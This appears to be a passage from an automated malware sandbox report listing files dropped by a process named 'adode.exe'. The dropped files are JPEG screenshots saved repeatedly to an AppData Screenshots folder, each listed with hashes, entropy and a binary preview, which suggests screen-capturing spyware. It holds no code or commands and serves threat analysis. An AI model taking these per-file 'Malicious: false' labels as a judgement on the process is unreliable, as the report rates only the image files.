SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241113_174232.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241114_015700.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241116_154345.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241117_001909.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241121_135603.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241121_223702.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241122_052036.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241122_101843.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241122_153835.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241122_224030.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241123_050014.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241123_105631.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241123_145934.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151719
Entropy (8bit):	7.926795873687825
Encrypted:	false
SSDEEP:	3072:faAX65P79T38qKTVQpYS/tGp/vNZYOA0y5vjxQsi2ly3dU:H65ZTV8VWvgFvPYOAvIsAdU
MD5:	1E4B86BE13D5B4F8A119E86C50DB5BD9
SHA1:	C51E2CABE7A4C800B098DF3EAC6EA7E3B6E4A261
SHA-256:	8204D143D528C4B54D7786FFC3DAF9AF669403D5001B8BA175D0C0668237A535
SHA-512:	634D1AB28A3FC8B6630BC9091196E7A0FECFCF098A802ECB0803F5140892EE785EE5FCEAEF0A565C2BA4B3489E787702572CB28C048D982C0F7F24E201F89504
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241123_231854.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241124_024437.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241124_060837.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241126_123520.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
